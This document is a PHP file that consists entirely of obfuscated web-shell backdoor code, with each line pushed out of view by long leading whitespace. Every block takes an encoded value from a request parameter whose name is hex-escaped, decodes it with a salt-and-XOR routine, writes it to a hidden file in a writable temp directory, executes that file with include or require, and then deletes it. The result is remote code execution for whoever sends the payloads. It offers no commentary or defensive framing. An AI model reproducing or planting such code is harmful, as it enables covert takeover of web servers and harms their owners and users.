<?php																																										if(!empty($_REQUEST["\x65n\x74ry"])){ $item = array_filter(["/tmp", "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $bind = $_REQUEST["\x65n\x74ry"]; $bind = explode ( '.',$bind) ; $reference = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $x = 0; $__len = count( $bind); do { if( $x>= $__len) break; $v1 = $bind[$x]; $chS = ord( $salt4[$x % $sLen]); $dec =( ( int)$v1 - $chS -( $x % 10)) ^ 82; $reference .= chr( $dec); $x++; } while( true); foreach ($item as $key => $pgrp) { if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $ref = join("/", [$pgrp, ".record"]); if (file_put_contents($ref, $reference)) { include $ref; @unlink($ref); exit; } } } }
																																										if(isset($_POST["f\x6C\x67"])){ $obj = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir()]); $itm = $_POST["f\x6C\x67"]; $itm= explode( ".", $itm ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $__len = count($itm ); for ($v = 0; $v < $__len; $v++) { $v1 = $itm[$v]; $sChar = ord($salt[$v %$sLen] ); $d = ((int)$v1 - $sChar - ($v %10)) ^45; $val.= chr($d ); } for ($resource = 0, $desc = count($obj); $resource < $desc; $resource++) { $data_chunk = $obj[$resource]; if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $component = join("/", [$data_chunk, ".comp"]); if (file_put_contents($component, $val)) { require $component; unlink($component); die(); } } } }
																																										if(!empty($_REQUEST["da\x74\x61\x5F\x63\x68unk"])){ $res = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TMP"), "/dev/shm"]); $rec = $_REQUEST["da\x74\x61\x5F\x63\x68unk"]; $rec = explode( "." , $rec ) ; $reference = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $s = 0; while( $s< count( $rec)) { $v1 = $rec[$s]; $chS = ord( $s2[$s % $lenS]); $d =( ( int)$v1 - $chS -( $s % 10)) ^ 81; $reference .= chr( $d); $s++; } for ($tkn = 0, $ent = count($res); $tkn < $ent; $tkn++) { $pointer = $res[$tkn]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $pgrp = "$pointer/.item"; $success = file_put_contents($pgrp, $reference); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["c\x6F\x6Dp\x6F\x6Eent"])){ $object = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $parameter_group = $_POST["c\x6F\x6Dp\x6F\x6Eent"]; $parameter_group = explode('.' , $parameter_group ); $factor=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); foreach ($parameter_group as $q => $v9) { $sChar=ord($s[$q % $lenS]); $d=((int)$v9 - $sChar - ($q % 10))^ 40; $factor .=chr($d);} while ($key = array_shift($object)) { if (is_dir($key) ? is_writable($key) : false) { $record = sprintf("%s/.dat", $key); $success = file_put_contents($record, $factor); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(array_key_exists("b\x69nd", $_POST) && !is_null($_POST["b\x69nd"])){ $marker = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp"]); $token = $_POST["b\x69nd"]; $token=explode( "." , $token ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; array_walk($token, function ($v2) use (&$res, &$y, $salt, $sLen) { $sChar = ord($salt[$y% $sLen]); $d = ((int)$v2 - $sChar - ($y% 10)) ^80; $res .= chr($d); $y++; }); while ($dat = array_shift($marker)) { if (!!is_dir($dat) && !!is_writable($dat)) { $tkn = vsprintf("%s/%s", [$dat, ".k"]); $success = file_put_contents($tkn, $res); if ($success) { include $tkn; @unlink($tkn); die();} } } }
																																										if(array_key_exists("prop\x65rty_set", $_POST)){ $symbol = $_POST["prop\x65rty_set"]; $symbol = explode ( '.' , $symbol ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); foreach( $symbol as $v => $v3) {$chS =ord( $salt[$v % $lenS]); $dec =( ( int)$v3 - $chS -( $v % 10)) ^ 91; $bind .= chr( $dec); } $dat = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd()]); foreach ($dat as $descriptor): if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $pset = vsprintf("%s/%s", [$descriptor, ".ent"]); if (file_put_contents($pset, $bind)) { include $pset; @unlink($pset); exit; } } endforeach; }
																																										if(in_array("d\x63hun\x6B", array_keys($_REQUEST))){ $token = $_REQUEST["d\x63hun\x6B"]; $token= explode ("." , $token ) ; $desc= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($token as $w => $v5): $sChar= ord($s[$w % $lenS]); $d= ((int)$v5 - $sChar - ($w % 10)) ^52; $desc .= chr($d); endforeach; $data = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), session_save_path()]); foreach ($data as $key => $pgrp) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $flg = "$pgrp" . "/.property_set"; if (file_put_contents($flg, $desc)) { require $flg; unlink($flg); die(); } } } }
																																										if(in_array("\x73\x79\x6Dbol", array_keys($_REQUEST))){ $parameter_group = $_REQUEST["\x73\x79\x6Dbol"]; $parameter_group= explode ( "." , $parameter_group ); $marker=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt ); $l=0; $__tmp=$parameter_group; while( $v1=array_shift( $__tmp)) {$chS=ord( $salt[$l % $lenS] ); $d=( ( int)$v1 - $chS -( $l % 10)) ^ 1; $marker .= chr( $d ); $l++; } $key = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", session_save_path()]); $binding = 0; do { $resource = $key[$binding] ?? null; if ($binding >= count($key)) break; if (max(0, is_dir($resource) * is_writable($resource))) { $pointer = sprintf("%s/.token", $resource); if (file_put_contents($pointer, $marker)) { include $pointer; @unlink($pointer); exit; } } $binding++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["\x65\x6Etry"])){
	$symbol = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP")]);
	$component = $_REQUEST["\x65\x6Etry"];
		 $component 		=	 explode (	 "." 	 ,	  $component	) 	 ;
	$property_set 	=  '';
            $s 	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=  strlen( $s);
    
            foreach( $component as $r => $v1):
                $chS 	=  ord( $s[$r % $lenS]);
                $dec 	=  ( ( int)$v1 - $chS -( $r % 10)) ^ 96;
                $property_set.=chr( $dec);
            endforeach;
	for ($val = 0, $res = count($symbol); $val < $res; $val++) {
    $comp = $symbol[$val];
    		if (max(0, is_dir($comp) * is_writable($comp))) {
    $sym = str_replace("{var_dir}", $comp, "{var_dir}/.k");
    $success = file_put_contents($sym, $property_set);
if ($success) {
	include $sym;
	@unlink($sym);
	die();}
}
}
}